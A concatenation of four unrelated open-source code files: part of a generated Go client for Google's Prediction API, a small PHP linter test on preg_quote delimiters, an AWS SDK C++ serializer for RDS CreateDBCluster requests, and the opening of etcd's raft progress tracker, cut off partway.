However, any non-pointer, non-interface field appearing in // ForceSendFields will be sent to the server regardless of whether the // field is empty or not. This may be used to include empty fields in // Patch requests. ForceSendFields []string `json:"-"` // NullFields is a list of field names (e.g. "ClassificationAccuracy") // to include in API requests with the JSON null value. By default, // fields with empty values are omitted from API requests. However, any // field with an empty value appearing in NullFields will be sent to the // server as null. It is an error if a field in this list has a // non-empty value. This may be used to include null fields in Patch // requests. NullFields []string `json:"-"` } func (s *TrainingModelInfo) MarshalJSON() ([]byte, error) { type noMethod TrainingModelInfo raw := noMethod(*s) return gensupport.MarshalJSON(raw, s.ForceSendFields, s.NullFields) } func (s *TrainingModelInfo) UnmarshalJSON(data []byte) error { type noMethod TrainingModelInfo var s1 struct { ClassificationAccuracy gensupport.JSONFloat64 `json:"classificationAccuracy"` MeanSquaredError gensupport.JSONFloat64 `json:"meanSquaredError"` *noMethod } s1.noMethod = (*noMethod)(s) if err := json.Unmarshal(data, &s1); err != nil { return err } s.ClassificationAccuracy = float64(s1.ClassificationAccuracy) s.MeanSquaredError = float64(s1.MeanSquaredError) return nil } type Update struct { // ClassLabel: The true class label of this instance ClassLabel string `json:"classLabel,omitempty"` // CsvInstance: The input features for this instance CsvInstance []interface{} `json:"csvInstance,omitempty"` // ForceSendFields is a list of field names (e.g. "ClassLabel") to // unconditionally include in API requests. By default, fields with // empty values are omitted from API requests. However, any non-pointer, // non-interface field appearing in ForceSendFields will be sent to the // server regardless of whether the field is empty or not. This may be // used to include empty fields in Patch requests. ForceSendFields []string `json:"-"` // NullFields is a list of field names (e.g. "ClassLabel") to include in // API requests with the JSON null value. By default, fields with empty // values are omitted from API requests. However, any field with an // empty value appearing in NullFields will be sent to the server as // null. It is an error if a field in this list has a non-empty value. // This may be used to include null fields in Patch requests. NullFields []string `json:"-"` } func (s *Update) MarshalJSON() ([]byte, error) { type noMethod Update raw := noMethod(*s) return gensupport.MarshalJSON(raw, s.ForceSendFields, s.NullFields) } // method id "prediction.predict": type PredictCall struct { s *Service data string input *Input urlParams_ gensupport.URLParams ctx_ context.Context header_ http.Header } // Predict: Submit data and request a prediction func (s *Service) Predict(data string, input *Input) *PredictCall { c := &PredictCall{s: s, urlParams_: make(gensupport.URLParams)} c.data = data c.input = input return c } // Fields allows partial responses to be retrieved. See // https://developers.google.com/gdata/docs/2.0/basics#PartialResponse // for more information. func (c *PredictCall) Fields(s ...googleapi.Field) *PredictCall { c.urlParams_.Set("fields", googleapi.CombineFields(s)) return c } // Context sets the context to be used in this call's Do method. Any // pending HTTP request will be aborted if the provided context is // canceled. func (c *PredictCall) Context(ctx context.Context) *PredictCall { c.ctx_ = ctx return c } // Header returns an http.Header that can be modified by the caller to // add HTTP headers to the request. func (c *PredictCall) Header() http.Header { if c.header_ == nil { c.header_ = make(http.Header) } return c.header_ } func (c *PredictCall) doRequest(alt string) (*http.Response, error) { reqHeaders := make(http.Header) for k, v := range c.header_ { reqHeaders[k] = v } reqHeaders.Set("User-Agent", c.s.userAgent()) var body io.Reader = nil body, err := googleapi.WithoutDataWrapper.JSONReader(c.input) if err != nil { return nil, err } reqHeaders.Set("Content-Type", "application/json") c.urlParams_.Set("alt", alt) urls := googleapi.ResolveRelative(c.s.BasePath, "training/{data}/predict") urls += "?" + c.urlParams_.Encode() req, _ := http.NewRequest("POST", urls, body) req.Header = reqHeaders googleapi.Expand(req.URL, map[string]string{ "data": c.data, }) return gensupport.SendRequest(c.ctx_, c.s.client, req) } // Do executes the "prediction.predict" call. // Exactly one of *Output or error will be non-nil. Any non-2xx status // code is an error. Response headers are in either // *Output.ServerResponse.Header or (if a response was returned at all) // in error.(*googleapi.Error).Header. Use googleapi.IsNotModified to // check whether the returned error was because http.StatusNotModified // was returned. func (c *PredictCall) Do(opts ...googleapi.CallOption) (*Output, error) { gensupport.SetOptions(c.urlParams_, opts...) res, err := c.doRequest("json") if res != nil && res.StatusCode == http.StatusNotModified { if res.Body != nil { res.Body.Close() } return nil, &googleapi.Error{ Code: res.StatusCode, Header: res.Header, } } if err != nil { return nil, err } defer googleapi.CloseBody(res) if err := googleapi.CheckResponse(res); err != nil { return nil, err } ret := &Output{ ServerResponse: googleapi.ServerResponse{ Header: res.Header, HTTPStatusCode: res.StatusCode, }, } target := &ret if err := json.NewDecoder(res.Body).Decode(target); err != nil { return nil, err } return ret, nil // { // "description": "Submit data and request a prediction", // "httpMethod": "POST", // "id": "prediction.predict", // "parameterOrder": [ // "data" // ], // "parameters": { // "data": { // "description": "mybucket%2Fmydata resource in Google Storage", // "location": "path", // "required": true, // "type": "string" // } // }, // "path": "training/{data}/predict", // "request": { // "$ref": "Input" // }, // "response": { // "$ref": "Output" // }, // "scopes": [ // "https://www.googleapis.com/auth/prediction" // ] // } } // method id "prediction.hostedmodels.predict": type HostedmodelsPredictCall struct { s *Service hostedModelName string input *Input urlParams_ gensupport.URLParams ctx_ context.Context header_ http.Header } // Predict: Submit input and request an output against a hosted model func (r *HostedmodelsService) Predict(hostedModelName string, input *Input) *HostedmodelsPredictCall { c := &HostedmodelsPredictCall{s: r.s, urlParams_: make(gensupport.URLParams)} c.hostedModelName = hostedModelName c.input = input return c } // Fields allows partial responses to be retrieved. See // https://developers.google.com/gdata/docs/2.0/basics#PartialResponse // for more information. func (c *HostedmodelsPredictCall) Fields(s ...googleapi.Field) *HostedmodelsPredictCall { c.urlParams_.Set("fields", googleapi.CombineFields(s)) return c } // Context sets the context to be used in this call's Do method. Any // pending HTTP request will be aborted if the provided context is // canceled. func (c *HostedmodelsPredictCall) Context(ctx context.Context) *HostedmodelsPredictCall { c.ctx_ = ctx return c } // Header returns an http.Header that can be modified by the caller to // add HTTP headers to the request. func (c *HostedmodelsPredictCall) Header() http.Header { if c.header_ == nil { c.header_ = make(http.Header) } return c.header_ } func (c *HostedmodelsPredictCall) doRequest(alt string) (*http.Response, error) { reqHeaders := make(http.Header) for k, v := range c.header_ { reqHeaders[k] = v } reqHeaders.Set("User-Agent", c.s.userAgent()) var body io.Reader = nil body, err := googleapi.WithoutDataWrapper.JSONReader(c.input) if err != nil { return nil, err } reqHeaders.Set("Content-Type", "application/json") c.urlParams_.Set("alt", alt) urls := googleapi.ResolveRelative(c.s.BasePath, "hostedmodels/{hostedModelName}/predict") urls += "?" + c.urlParams_.Encode() req, _ := http.NewRequest("POST", urls, body) req.Header = reqHeaders googleapi.Expand(req.URL, map[string]string{ "hostedModelName": c.hostedModelName, }) return gensupport.SendRequest(c.ctx_, c.s.client, req) } // Do executes the "prediction.hostedmodels.predict" call. // Exactly one of *Output or error will be non-nil. Any non-2xx status // code is an error. Response headers are in either // *Output.ServerResponse.Header or (if a response was returned at all) // in error.(*googleapi.Error).Header. Use googleapi.IsNotModified to // check whether the returned error was because http.StatusNotModified // was returned. func (c *HostedmodelsPredictCall) Do(opts ...googleapi.CallOption) (*Output, error) { gensupport.SetOptions(c.urlParams_, opts...) res, err := c.doRequest("json") if res != nil && res.StatusCode == http.StatusNotModified { if res.Body != nil { res.Body.Close() } return nil, &googleapi.Error{ Code: res.StatusCode, Header: res.Header, } } if err != nil { return nil, err } defer googleapi.CloseBody(res) if err := googleapi.CheckResponse(res); err != nil { return nil, err } ret := &Output{ ServerResponse: googleapi.ServerResponse{ Header: res.Header, HTTPStatusCode: res.StatusCode, }, } target := &ret if err := json.NewDecoder(res.Body).Decode(target); err != nil { return nil, err } return ret, nil // { // "description": "Submit input and request an output against a hosted model", // "httpMethod": "POST", // "id": "prediction.hostedmodels.predict", // "parameterOrder": [ // "hostedModelName" // ], // "parameters": { // "hostedModelName": { // "description": "The name of a hosted model", // "location": "path", // "required": true, // "type": "string" // } // }, // "path": "hostedmodels/{hostedModelName}/predict", // "request": { // "$ref": "Input" // }, // "response": { // "$ref": "Output" // }, // "scopes": [ // "https://www.googleapis.com/auth/prediction" // ] // } } // method id "prediction.training.delete": type TrainingDeleteCall struct { s *Service data string urlParams_ gensupport.URLParams ctx_ context.Context header_ http.Header } // Delete: Delete a trained model func (r *TrainingService) Delete(data string) *TrainingDeleteCall { c := &TrainingDeleteCall{s: r.s, urlParams_: make(gensupport.URLParams)} c.data = data return c } // Fields allows partial responses to be retrieved. See // https://developers.google.com/gdata/docs/2.0/basics#PartialResponse // for more information. func (c *TrainingDeleteCall) Fields(s ...googleapi.Field) *TrainingDeleteCall { c.urlParams_.Set("fields", googleapi.CombineFields(s)) return c } // Context sets the context to be used in this call's Do method. Any // pending HTTP request will be aborted if the provided context is // canceled. func (c *TrainingDeleteCall) Context(ctx context.Context) *TrainingDeleteCall { c.ctx_ = ctx return c } // Header returns an http.Header that can be modified by the caller to // add HTTP headers to the request. func (c *TrainingDeleteCall) Header() http.Header { if c.header_ == nil { c.header_ = make(http.Header) } return c.header_ } func (c *TrainingDeleteCall) doRequest(alt string) (*http.Response, error) { reqHeaders := make(http.Header) for k, v := range c.header_ { reqHeaders[k] = v } reqHeaders.Set("User-Agent", c.s.userAgent()) var body io.Reader = nil c.urlParams_.Set("alt", alt) urls := googleapi.ResolveRelative(c.s.BasePath, "training/{data}") urls += "?" + c.urlParams_.Encode() req, _ := http.NewRequest("DELETE", urls, body) req.Header = reqHeaders googleapi.Expand(req.URL, map[string]string{ "data": c.data, }) return gensupport.SendRequest(c.ctx_, c.s.client, req) } // Do executes the "prediction.training.delete" call. func (c *TrainingDeleteCall) Do(opts ...googleapi.CallOption) error { gensupport.SetOptions(c.urlParams_, opts...) res, err := c.doRequest("json") if err != nil { return err } defer googleapi.CloseBody(res) if err := googleapi.CheckResponse(res); err != nil { return err } return nil // { // "description": "Delete a trained model", // "httpMethod": "DELETE", // "id": "prediction.training.delete", // "parameterOrder": [ // "data" // ], // "parameters": { // "data": { // "description": "mybucket/mydata resource in Google Storage", // "location": "path", // "required": true, // "type": "string" // } // }, // "path": "training/{data}", // "scopes": [ // "https://www.googleapis.com/auth/prediction" // ] // } } // method id "prediction.training.get": type TrainingGetCall struct { s *Service data string urlParams_ gensupport.URLParams ifNoneMatch_ string ctx_ context.Context header_ http.Header } // Get: Check training status of your model func (r *TrainingService) Get(data string) *TrainingGetCall { c := &TrainingGetCall{s: r.s, urlParams_: make(gensupport.URLParams)} c.data = data return c } // Fields allows partial responses to be retrieved. See // https://developers.google.com/gdata/docs/2.0/basics#PartialResponse // for more information. func (c *TrainingGetCall) Fields(s ...googleapi.Field) *TrainingGetCall { c.urlParams_.Set("fields", googleapi.CombineFields(s)) return c } // IfNoneMatch sets the optional parameter which makes the operation // fail if the object's ETag matches the given value. This is useful for // getting updates only after the object has changed since the last // request. Use googleapi.IsNotModified to check whether the response // error from Do is the result of In-None-Match. func (c *TrainingGetCall) IfNoneMatch(entityTag string) *TrainingGetCall { c.ifNoneMatch_ = entityTag return c } // Context sets the context to be used in this call's Do method. Any // pending HTTP request will be aborted if the provided context is // canceled. func (c *TrainingGetCall) Context(ctx context.Context) *TrainingGetCall { c.ctx_ = ctx return c } // Header returns an http.Header that can be modified by the caller to // add HTTP headers to the request. func (c *TrainingGetCall) Header() http.Header { if c.header_ == nil { c.header_ = make(http.Header) } return c.header_ } func (c *TrainingGetCall) doRequest(alt string) (*http.Response, error) { reqHeaders := make(http.Header) for k, v := range c.header_ { reqHeaders[k] = v } reqHeaders.Set("User-Agent", c.s.userAgent()) if c.ifNoneMatch_ != "" { reqHeaders.Set("If-None-Match", c.ifNoneMatch_) } var body io.Reader = nil c.urlParams_.Set("alt", alt) urls := googleapi.ResolveRelative(c.s.BasePath, "training/{data}") urls += "?" + c.urlParams_.Encode() req, _ := http.NewRequest("GET", urls, body) req.Header = reqHeaders googleapi.Expand(req.URL, map[string]string{ "data": c.data, }) return gensupport.SendRequest(c.ctx_, c.s.client, req) } // Do executes the "prediction.training.get" call. // Exactly one of *Training or error will be non-nil. Any non-2xx status // code is an error. Response headers are in either // *Training.ServerResponse.Header or (if a response was returned at // all) in error.(*googleapi.Error).Header. Use googleapi.IsNotModified // to check whether the returned error was because // http.StatusNotModified was returned. func (c *TrainingGetCall) Do(opts ...googleapi.CallOption) (*Training, error) { gensupport.SetOptions(c.urlParams_, opts...) res, err := c.doRequest("json") if res != nil && res.StatusCode == http.StatusNotModified { if res.Body != nil { res.Body.Close() } return nil, &googleapi.Error{ Code: res.StatusCode, Header: res.Header, } } if err != nil { return nil, err } defer googleapi.CloseBody(res) if err := googleapi.CheckResponse(res); err != nil { return nil, err } ret := &Training{ ServerResponse: googleapi.ServerResponse{ Header: res.Header, HTTPStatusCode: res.StatusCode, }, } target := &ret if err := json.NewDecoder(res.Body).Decode(target); err != nil { return nil, err } return ret, nil // { // "description": "Check training status of your model", // "httpMethod": "GET", // "id": "prediction.training.get", // "parameterOrder": [ // "data" // ], // "parameters": { // "data": { // "description": "mybucket/mydata resource in Google Storage", // "location": "path", // "required": true, // "type": "string" // } // }, // "path": "training/{data}", // "response": { // "$ref": "Training" // }, // "scopes": [ // "https://www.googleapis.com/auth/prediction" // ] // } } // method id "prediction.training.insert": type TrainingInsertCall struct { s *Service training *Training urlParams_ gensupport.URLParams ctx_ context.Context header_ http.Header } // Insert: Begin training your model func (r *TrainingService) Insert(training *Training) *TrainingInsertCall { c := &TrainingInsertCall{s: r.s, urlParams_: make(gensupport.URLParams)} c.training = training return c } // Data sets the optional parameter "data": mybucket/mydata resource in // Google Storage func (c *TrainingInsertCall) Data(data string) *TrainingInsertCall { c.urlParams_.Set("data", data) return c } // Fields allows partial responses to be retrieved. See // https://developers.google.com/gdata/docs/2.0/basics#PartialResponse // for more information. func (c *TrainingInsertCall) Fields(s ...googleapi.Field) *TrainingInsertCall { c.urlParams_.Set("fields", googleapi.CombineFields(s)) return c } // Context sets the context to be used in this call's Do method. Any // pending HTTP request will be aborted if the provided context is // canceled. func (c *TrainingInsertCall) Context(ctx context.Context) *TrainingInsertCall { c.ctx_ = ctx return c } // Header returns an http.Header that can be modified by the caller to // add HTTP headers to the request. func (c *TrainingInsertCall) Header() http.Header { if c.header_ == nil { c.header_ = make(http.Header) } return c.header_ } func (c *TrainingInsertCall) doRequest(alt string) (*http.Response, error) { reqHeaders := make(http.Header) for k, v := range c.header_ { reqHeaders[k] = v } reqHeaders.Set("User-Agent", c.s.userAgent()) var body io.Reader = nil body, err := googleapi.WithoutDataWrapper.JSONReader(c.training) if err != nil { return nil, err } reqHeaders.Set("Content-Type", "application/json") c.urlParams_.Set("alt", alt) urls := googleapi.ResolveRelative(c.s.BasePath, "training") urls += "?" + c.urlParams_.Encode() req, _ := http.NewRequest("POST", urls, body) req.Header = reqHeaders return gensupport.SendRequest(c.ctx_, c.s.client, req) } // Do executes the "prediction.training.insert" call. // Exactly one of *Training or error will be non-nil. Any non-2xx status // code is an error. Response headers are in either // *Training.ServerResponse.Header or (if a response was returned at // all) in error.(*googleapi.Error).Header. Use googleapi.IsNotModified // to check whether the returned error was because // http.StatusNotModified was returned. func (c *TrainingInsertCall) Do(opts ...googleapi.CallOption) (*Training, error) { gensupport.SetOptions(c.urlParams_, opts...) res, err := c.doRequest("json") if res != nil && res.StatusCode == http.StatusNotModified { if res.Body != nil { res.Body.Close() } return nil, &googleapi.Error{ Code: res.StatusCode, Header: res.Header, } } if err != nil { return nil, err } defer googleapi.CloseBody(res) if err := googleapi.CheckResponse(res); err != nil { return nil, err } ret := &Training{ ServerResponse: googleapi.ServerResponse{ Header: res.Header, HTTPStatusCode: res.StatusCode, }, } target := &ret if err := json.NewDecoder(res.Body).Decode(target); err != nil { return nil, err } return ret, nil // { // "description": "Begin training your model", // "httpMethod": "POST", // "id": "prediction.training.insert", // "parameters": { // "data": { // "description": "mybucket/mydata resource in Google Storage", // "location": "query", // "type": "string" // } // }, // "path": "training", // "request": { // "$ref": "Training" // }, // "response": { // "$ref": "Training" // }, // "scopes": [ // "https://www.googleapis.com/auth/devstorage.full_control", // "https://www.googleapis.com/auth/devstorage.read_only", // "https://www.googleapis.com/auth/devstorage.read_write", // "https://www.googleapis.com/auth/prediction" // ] // } } // method id "prediction.training.update": type TrainingUpdateCall struct { s *Service data string update *Update urlParams_ gensupport.URLParams ctx_ context.Context header_ http.Header } // Update: Add new data to a trained model func (r *TrainingService) Update(data string, update *Update) *TrainingUpdateCall { c := &TrainingUpdateCall{s: r.s, urlParams_: make(gensupport.URLParams)} c.data = data c.update = update return c } // Fields allows partial responses to be retrieved. See // https://developers.google.com/gdata/docs/2.0/basics#PartialResponse // for more information. func (c *TrainingUpdateCall) Fields(s ...googleapi.Field) *TrainingUpdateCall { c.urlParams_.Set("fields", googleapi.CombineFields(s)) return c } // Context sets the context to be used in this call's Do method. Any // pending HTTP request will be aborted if the provided context is // canceled. func (c *TrainingUpdateCall) Context(ctx context.Context) *TrainingUpdateCall { c.ctx_ = ctx return c } // Header returns an http.Header that can be modified by the caller to // add HTTP headers to the request. func (c *TrainingUpdateCall) Header() http.Header { if c.header_ == nil { c.header_ = make(http.Header) } return c.header_ } func (c *TrainingUpdateCall) doRequest(alt string) (*http.Response, error) { reqHeaders := make(http.Header) for k, v := range c.header_ { reqHeaders[k] = v } reqHeaders.Set("User-Agent", c.s.userAgent()) var body io.Reader = nil body, err := googleapi.WithoutDataWrapper.JSONReader(c.update) if err != nil { return nil, err } reqHeaders.Set("Content-Type", "application/json") c.urlParams_.Set("alt", alt) urls := googleapi.ResolveRelative(c.s.BasePath, "training/{data}") urls += "?" + c.urlParams_.Encode() req, _ := http.NewRequest("PUT", urls, body) req.Header = reqHeaders googleapi.Expand(req.URL, map[string]string{ "data": c.data, }) return gensupport.SendRequest(c.ctx_, c.s.client, req) } // Do executes the "prediction.training.update" call. // Exactly one of *Training or error will be non-nil. Any non-2xx status // code is an error. Response headers are in either // *Training.ServerResponse.Header or (if a response was returned at // all) in error.(*googleapi.Error).Header. Use googleapi.IsNotModified // to check whether the returned error was because // http.StatusNotModified was returned. func (c *TrainingUpdateCall) Do(opts ...googleapi.CallOption) (*Training, error) { gensupport.SetOptions(c.urlParams_, opts...) res, err := c.doRequest("json") if res != nil && res.StatusCode == http.StatusNotModified { if res.Body != nil { res.Body.Close() } return nil, &googleapi.Error{ Code: res.StatusCode, Header: res.Header, } } if err != nil { return nil, err } defer googleapi.CloseBody(res) if err := googleapi.CheckResponse(res); err != nil { return nil, err } ret := &Training{ ServerResponse: googleapi.ServerResponse{ Header: res.Header, HTTPStatusCode: res.StatusCode, }, } target := &ret if err := json.NewDecoder(res.Body).Decode(target); err != nil { return nil, err } return ret, nil // { // "description": "Add new data to a trained model", // "httpMethod": "PUT", // "id": "prediction.training.update", // "parameterOrder": [ // "data" // ], // "parameters": { // "data": { // "description": "mybucket/mydata resource in Google Storage", // "location": "path", // "required": true, // "type": "string" // } // }, // "path": "training/{data}", // "request": { // "$ref": "Update" // }, // "response": { // "$ref": "Training" // }, // "scopes": [ // "https://www.googleapis.com/auth/prediction" // ] // } }
{ "pile_set_name": "Github" }
<?php preg_quote($keywords, '/'); // OK. preg_quote( $keywords, '`' ); // OK. preg_quote($keywords); // Warning. $textbody = preg_replace ( "/" . preg_quote($word) . "/", // Warning "<i>" . $word . "</i>", $textbody );
{ "pile_set_name": "Github" }
/** * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * SPDX-License-Identifier: Apache-2.0. */ #include <aws/rds/model/CreateDBClusterRequest.h> #include <aws/core/utils/StringUtils.h> #include <aws/core/utils/memory/stl/AWSStringStream.h> using namespace Aws::RDS::Model; using namespace Aws::Utils; CreateDBClusterRequest::CreateDBClusterRequest() : m_availabilityZonesHasBeenSet(false), m_backupRetentionPeriod(0), m_backupRetentionPeriodHasBeenSet(false), m_characterSetNameHasBeenSet(false), m_databaseNameHasBeenSet(false), m_dBClusterIdentifierHasBeenSet(false), m_dBClusterParameterGroupNameHasBeenSet(false), m_vpcSecurityGroupIdsHasBeenSet(false), m_dBSubnetGroupNameHasBeenSet(false), m_engineHasBeenSet(false), m_engineVersionHasBeenSet(false), m_port(0), m_portHasBeenSet(false), m_masterUsernameHasBeenSet(false), m_masterUserPasswordHasBeenSet(false), m_optionGroupNameHasBeenSet(false), m_preferredBackupWindowHasBeenSet(false), m_preferredMaintenanceWindowHasBeenSet(false), m_replicationSourceIdentifierHasBeenSet(false), m_tagsHasBeenSet(false), m_storageEncrypted(false), m_storageEncryptedHasBeenSet(false), m_kmsKeyIdHasBeenSet(false), m_preSignedUrlHasBeenSet(false), m_enableIAMDatabaseAuthentication(false), m_enableIAMDatabaseAuthenticationHasBeenSet(false), m_backtrackWindow(0), m_backtrackWindowHasBeenSet(false), m_enableCloudwatchLogsExportsHasBeenSet(false), m_engineModeHasBeenSet(false), m_scalingConfigurationHasBeenSet(false), m_deletionProtection(false), m_deletionProtectionHasBeenSet(false), m_globalClusterIdentifierHasBeenSet(false), m_enableHttpEndpoint(false), m_enableHttpEndpointHasBeenSet(false), m_copyTagsToSnapshot(false), m_copyTagsToSnapshotHasBeenSet(false), m_domainHasBeenSet(false), m_domainIAMRoleNameHasBeenSet(false), m_enableGlobalWriteForwarding(false), m_enableGlobalWriteForwardingHasBeenSet(false) { } Aws::String CreateDBClusterRequest::SerializePayload() const { Aws::StringStream ss; ss << "Action=CreateDBCluster&"; if(m_availabilityZonesHasBeenSet) { unsigned availabilityZonesCount = 1; for(auto& item : m_availabilityZones) { ss << "AvailabilityZones.member." << availabilityZonesCount << "=" << StringUtils::URLEncode(item.c_str()) << "&"; availabilityZonesCount++; } } if(m_backupRetentionPeriodHasBeenSet) { ss << "BackupRetentionPeriod=" << m_backupRetentionPeriod << "&"; } if(m_characterSetNameHasBeenSet) { ss << "CharacterSetName=" << StringUtils::URLEncode(m_characterSetName.c_str()) << "&"; } if(m_databaseNameHasBeenSet) { ss << "DatabaseName=" << StringUtils::URLEncode(m_databaseName.c_str()) << "&"; } if(m_dBClusterIdentifierHasBeenSet) { ss << "DBClusterIdentifier=" << StringUtils::URLEncode(m_dBClusterIdentifier.c_str()) << "&"; } if(m_dBClusterParameterGroupNameHasBeenSet) { ss << "DBClusterParameterGroupName=" << StringUtils::URLEncode(m_dBClusterParameterGroupName.c_str()) << "&"; } if(m_vpcSecurityGroupIdsHasBeenSet) { unsigned vpcSecurityGroupIdsCount = 1; for(auto& item : m_vpcSecurityGroupIds) { ss << "VpcSecurityGroupIds.member." << vpcSecurityGroupIdsCount << "=" << StringUtils::URLEncode(item.c_str()) << "&"; vpcSecurityGroupIdsCount++; } } if(m_dBSubnetGroupNameHasBeenSet) { ss << "DBSubnetGroupName=" << StringUtils::URLEncode(m_dBSubnetGroupName.c_str()) << "&"; } if(m_engineHasBeenSet) { ss << "Engine=" << StringUtils::URLEncode(m_engine.c_str()) << "&"; } if(m_engineVersionHasBeenSet) { ss << "EngineVersion=" << StringUtils::URLEncode(m_engineVersion.c_str()) << "&"; } if(m_portHasBeenSet) { ss << "Port=" << m_port << "&"; } if(m_masterUsernameHasBeenSet) { ss << "MasterUsername=" << StringUtils::URLEncode(m_masterUsername.c_str()) << "&"; } if(m_masterUserPasswordHasBeenSet) { ss << "MasterUserPassword=" << StringUtils::URLEncode(m_masterUserPassword.c_str()) << "&"; } if(m_optionGroupNameHasBeenSet) { ss << "OptionGroupName=" << StringUtils::URLEncode(m_optionGroupName.c_str()) << "&"; } if(m_preferredBackupWindowHasBeenSet) { ss << "PreferredBackupWindow=" << StringUtils::URLEncode(m_preferredBackupWindow.c_str()) << "&"; } if(m_preferredMaintenanceWindowHasBeenSet) { ss << "PreferredMaintenanceWindow=" << StringUtils::URLEncode(m_preferredMaintenanceWindow.c_str()) << "&"; } if(m_replicationSourceIdentifierHasBeenSet) { ss << "ReplicationSourceIdentifier=" << StringUtils::URLEncode(m_replicationSourceIdentifier.c_str()) << "&"; } if(m_tagsHasBeenSet) { unsigned tagsCount = 1; for(auto& item : m_tags) { item.OutputToStream(ss, "Tags.member.", tagsCount, ""); tagsCount++; } } if(m_storageEncryptedHasBeenSet) { ss << "StorageEncrypted=" << std::boolalpha << m_storageEncrypted << "&"; } if(m_kmsKeyIdHasBeenSet) { ss << "KmsKeyId=" << StringUtils::URLEncode(m_kmsKeyId.c_str()) << "&"; } if(m_preSignedUrlHasBeenSet) { ss << "PreSignedUrl=" << StringUtils::URLEncode(m_preSignedUrl.c_str()) << "&"; } if(m_enableIAMDatabaseAuthenticationHasBeenSet) { ss << "EnableIAMDatabaseAuthentication=" << std::boolalpha << m_enableIAMDatabaseAuthentication << "&"; } if(m_backtrackWindowHasBeenSet) { ss << "BacktrackWindow=" << m_backtrackWindow << "&"; } if(m_enableCloudwatchLogsExportsHasBeenSet) { unsigned enableCloudwatchLogsExportsCount = 1; for(auto& item : m_enableCloudwatchLogsExports) { ss << "EnableCloudwatchLogsExports.member." << enableCloudwatchLogsExportsCount << "=" << StringUtils::URLEncode(item.c_str()) << "&"; enableCloudwatchLogsExportsCount++; } } if(m_engineModeHasBeenSet) { ss << "EngineMode=" << StringUtils::URLEncode(m_engineMode.c_str()) << "&"; } if(m_scalingConfigurationHasBeenSet) { m_scalingConfiguration.OutputToStream(ss, "ScalingConfiguration"); } if(m_deletionProtectionHasBeenSet) { ss << "DeletionProtection=" << std::boolalpha << m_deletionProtection << "&"; } if(m_globalClusterIdentifierHasBeenSet) { ss << "GlobalClusterIdentifier=" << StringUtils::URLEncode(m_globalClusterIdentifier.c_str()) << "&"; } if(m_enableHttpEndpointHasBeenSet) { ss << "EnableHttpEndpoint=" << std::boolalpha << m_enableHttpEndpoint << "&"; } if(m_copyTagsToSnapshotHasBeenSet) { ss << "CopyTagsToSnapshot=" << std::boolalpha << m_copyTagsToSnapshot << "&"; } if(m_domainHasBeenSet) { ss << "Domain=" << StringUtils::URLEncode(m_domain.c_str()) << "&"; } if(m_domainIAMRoleNameHasBeenSet) { ss << "DomainIAMRoleName=" << StringUtils::URLEncode(m_domainIAMRoleName.c_str()) << "&"; } if(m_enableGlobalWriteForwardingHasBeenSet) { ss << "EnableGlobalWriteForwarding=" << std::boolalpha << m_enableGlobalWriteForwarding << "&"; } ss << "Version=2014-10-31"; return ss.str(); } void CreateDBClusterRequest::DumpBodyToUrl(Aws::Http::URI& uri ) const { uri.SetQueryString(SerializePayload()); }
{ "pile_set_name": "Github" }
// Copyright 2019 The etcd Authors // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package tracker import ( "fmt" "sort" "strings" "go.etcd.io/etcd/v3/raft/quorum" pb "go.etcd.io/etcd/v3/raft/raftpb" ) // Config reflects the configuration tracked in a ProgressTracker. type Config struct { Voters quorum.JointConfig // AutoLeave is true if the configuration is joint and a transition to the // incoming configuration should be carried out automatically by Raft when // this is possible. If false, the configuration will be joint until the // application initiates the transition manually. AutoLeave bool // Learners is a set of IDs corresponding to the learners active in the // current configuration. // // Invariant: Learners and Voters does not intersect, i.e. if a peer is in // either half of the joint config, it can't be a learner; if it is a // learner it can't be in either half of the joint config. This invariant // simplifies the implementation since it allows peers to have clarity about // its current role without taking into account joint consensus. Learners map[uint64]struct{} // When we turn a voter into a learner during a joint consensus transition, // we cannot add the learner directly when entering the joint state. This is // because this would violate the invariant that the intersection of // voters and learners is empty. For example, assume a Voter is removed and // immediately re-added as a learner (or in other words, it is demoted): // // Initially, the configuration will be // // voters: {1 2 3} // learners: {} // // and we want to demote 3. Entering the joint configuration, we naively get // // voters: {1 2} & {1 2 3} // learners: {3} // // but this violates the invariant (3 is both voter and learner). Instead, // we get // // voters: {1 2} & {1 2 3} // learners: {} // next_learners: {3} // // Where 3 is now still purely a voter, but we are remembering the intention // to make it a learner upon transitioning into the final configuration: // // voters: {1 2} // learners: {3} // next_learners: {} // // Note that next_learners is not used while adding a learner that is not // also a voter in the joint config. In this case, the learner is added // right away when entering the joint configuration, so that it is caught up // as soon as possible. LearnersNext map[uint64]struct{} } func (c Config) String() string { var buf strings.Builder fmt.Fprintf(&buf, "voters=%s", c.Voters) if c.Learners != nil { fmt.Fprintf(&buf, " learners=%s", quorum.MajorityConfig(c.Learners).String()) } if c.LearnersNext != nil { fmt.Fprintf(&buf, " learners_next=%s", quorum.MajorityConfig(c.LearnersNext).String()) } if c.AutoLeave { fmt.Fprintf(&buf, " autoleave") } return buf.String() } // Clone returns a copy of the Config that shares no memory with the original. func (c *Config) Clone() Config { clone := func(m map[uint64]struct{}) map[uint64]struct{} { if m == nil { return nil } mm := make(map[uint64]struct{}, len(m)) for k := range m { mm[k] = struct{}{} } return mm } return Config{ Voters: quorum.JointConfig{clone(c.Voters[0]), clone(c.Voters[1])}, Learners: clone(c.Learners), LearnersNext: clone(c.LearnersNext), } } // ProgressTracker tracks the currently active configuration and the information // known about the nodes and learners in it. In particular, it tracks the match // index for each peer which in turn allows reasoning about the committed index. type ProgressTracker struct { Config Progress ProgressMap Votes map[uint64]bool MaxInflight int } // MakeProgressTracker initializes a ProgressTracker. func MakeProgressTracker(maxInflight int) ProgressTracker { p := ProgressTracker{ MaxInflight: maxInflight, Config: Config{ Voters: quorum.JointConfig{ quorum.MajorityConfig{}, nil, // only populated when used }, Learners: nil, // only populated when used LearnersNext: nil, // only populated when used }, Votes: map[uint64]bool{}, Progress: map[uint64]*Progress{}, } return p } // ConfState returns a ConfState representing the active configuration. func (p *ProgressTracker) ConfState() pb.ConfState { return pb.ConfState{ Voters: p.Voters[0].Slice(), VotersOutgoing: p.Voters[1].Slice(), Learners: quorum.MajorityConfig(p.Learners).Slice(), LearnersNext: quorum.MajorityConfig(p.LearnersNext).Slice(), 